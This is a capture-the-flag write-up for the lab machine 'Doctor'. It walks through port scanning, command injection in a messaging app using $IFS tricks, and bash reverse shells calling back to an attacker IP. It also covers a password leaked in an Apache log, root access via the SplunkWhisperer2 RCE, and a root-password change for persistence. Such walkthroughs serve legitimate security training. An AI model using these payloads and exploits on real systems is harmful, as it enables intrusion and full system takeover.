Recon
- Port scan:
$ nmap -p- 10.10.10.209 > ports.nmapPORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8089/tcp open unknown - Targeted scan:
$ nmap -p 22,80,8089 -sC -sV 10.10.10.209 > scan.nmapPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA) | 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA) |_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Doctor 8089/tcp open ssl/http Splunkd httpd | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Splunkd |_http-title: splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-09-06T15:57:27 |_Not valid after: 2023-09-06T15:57:27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Apache httpd 2.4.41, Splunkd httpd.
Enumeration
Splunk Enumeration
- Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system.
10.10.10.209:8089is a Splunk Atom Feed, with the following pages:rpc - 1970-01-01T01:00:00+01:00 services - 1970-01-01T01:00:00+01:00 servicesNS - 1970-01-01T01:00:00+01:00 static - 1970-01-01T01:00:00+01:00- We also see from the
nmapscan that there is a disallowed entry in therobots.txtfile:http-robots.txt: 1 disallowed entry - Looks like the pages require credentials, so we'll come back to this later.
HTTP Enumeration
- The website appears to be a front page for a clinic, some images on the page are returning 404.
- We see an
[email protected]email address on the/services.htmlpage, which could be the domain name for our target. - Add the following line to our
/etc/hostsfile:10.10.10.209 doctors.htb - Navigating to http://doctors.htb, we're redirected to a login page for a service called "Doctor Secure Messaging".
- There is a register function on the page, and we are able to register for an account without an
@doctors.htbemail address. Beware that this account is only valid for 20 minutes.
Exploitation
- Now in the messaging system as the temporary user, we're able to make new posts, let's see if it is vulnerable to XSS:
<b>XSS?</b> - That didn't seem to have worked, let's see whether if we can inject code with HTTP requests...
- Listen for incoming HTTP requests beforehand:
nc -lvnp 80 - Submit as post content the following:
http://10.10.14.53/$(whoami) - We see that we get a GET request back for
/webfrom an user agent ofcurl/7.68.0:GET /web HTTP/1.1 Host: 10.10.14.53 User-Agent: curl/7.68.0 Accept: */* - There seems to be a
curlagent running on the target which automatically GETs links on posts. - More importantly, it is executing the code that we injected in the URL, seeing as we got a request for
/webback, wherewebis likely the username. - Forward the request to Burp Suite to investigate this further, and we get:
title=pwn&content=http//10.10.14.53/$(whoami)&submit=Post - And start a HTTP server locally to listen for requests:
sudo python3 -m http.server 80 - Let's see if we can get an echo back:
title=pwn&content=http//10.10.14.53/$(echo test)&submit=Post - That didn't work, neither did swapping out the whitespace with encoded characters like
+or%20. - Let's try using a bracket expansion:
title=pwn&content=http//10.10.14.53/$({echo,test})&submit=Post - That didn't work either. We can try to use something called the
$IFSvariable which returns a space, don't forget to put things in quotes:title=pwn&content=http//10.10.14.53/$(echo$IFS'test')&submit=Post - We get a request for
/testfrom thecurlagent:"GET /test HTTP/1.1" 404 - Now that we have code execution, let's try to upload and execute a reverse shell.
- Create a simple Bash reverse shell
rev, host the file on the HTTP server we have started earlier.:bash -c 'bash -i &> /dev/tcp/10.10.14.53/6969 0>&1' - Make the following request to have the
curlagent download our reverse shell to the/var/www/html/directory:title=pwn&content=http//10.10.14.53/$(curl$IFS'-o'$IFS'/var/www/html/rev'$IFS'http://10.10.14.53/rev')&submit=Post - Listen for a reverse connection:
$ nc -lvnp 6969 - Run our reverse shell by requesting:
title=pwn&content=http//10.10.14.53/$(bash$IFS'/var/www/html/rev')&submit=Post - We should now get a reverse shell as web:
$ iduid=1001(web) gid=1001(web) groups=1001(web),4(adm) - We notice that the web user is in group
4(adm), which grants us read access to/var/log/. - But before we proceed, let's upgrade our shell by spawning a TTY:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py$ python3 /tmp/shell.py - Navigating to
/home/, we see that there is a user named shaun. - While looking for log files, we see that there is a
backupfile in the/var/log/apache2directory. Checking what's inside:cat backup | grep pass10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 - Looks like some user mistakenly put their password in the email address field on the
/reset_passwordpage, wonder if that was shaun...su shaunGuitar123 - We're in as shaun, let's get the user flag!
Privilege Escalation
- Password reuse in shaun's Splunk account, granting us access to Splunk services on https://10.10.10.209:8089/services.
- Splunk version info exposed on services page to be 8.0.5, which is vulnerable to an RCE attack.
- The attack is carried out by leveraging the agent's credentials to create a malicious app bundle on the forwarder, such that we can inject arbitrary privileged code.
- We can use an existing exploit called SplunkWhisperer2 (cnotin) to gain a reverse shell:
$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.53 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.53/9001 0>&1'" - If the exploit ran successfully, we should see a reverse connection which will grant us a root shell:
$ iduid=0(root) gid=0(root) groups=0(root) - Get root flag!
Persistence
- We can also change the root password to maintain SSH access:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.53 --username shaun --password Guitar123 --payload "echo 'root:persistenceiskey' | changepw"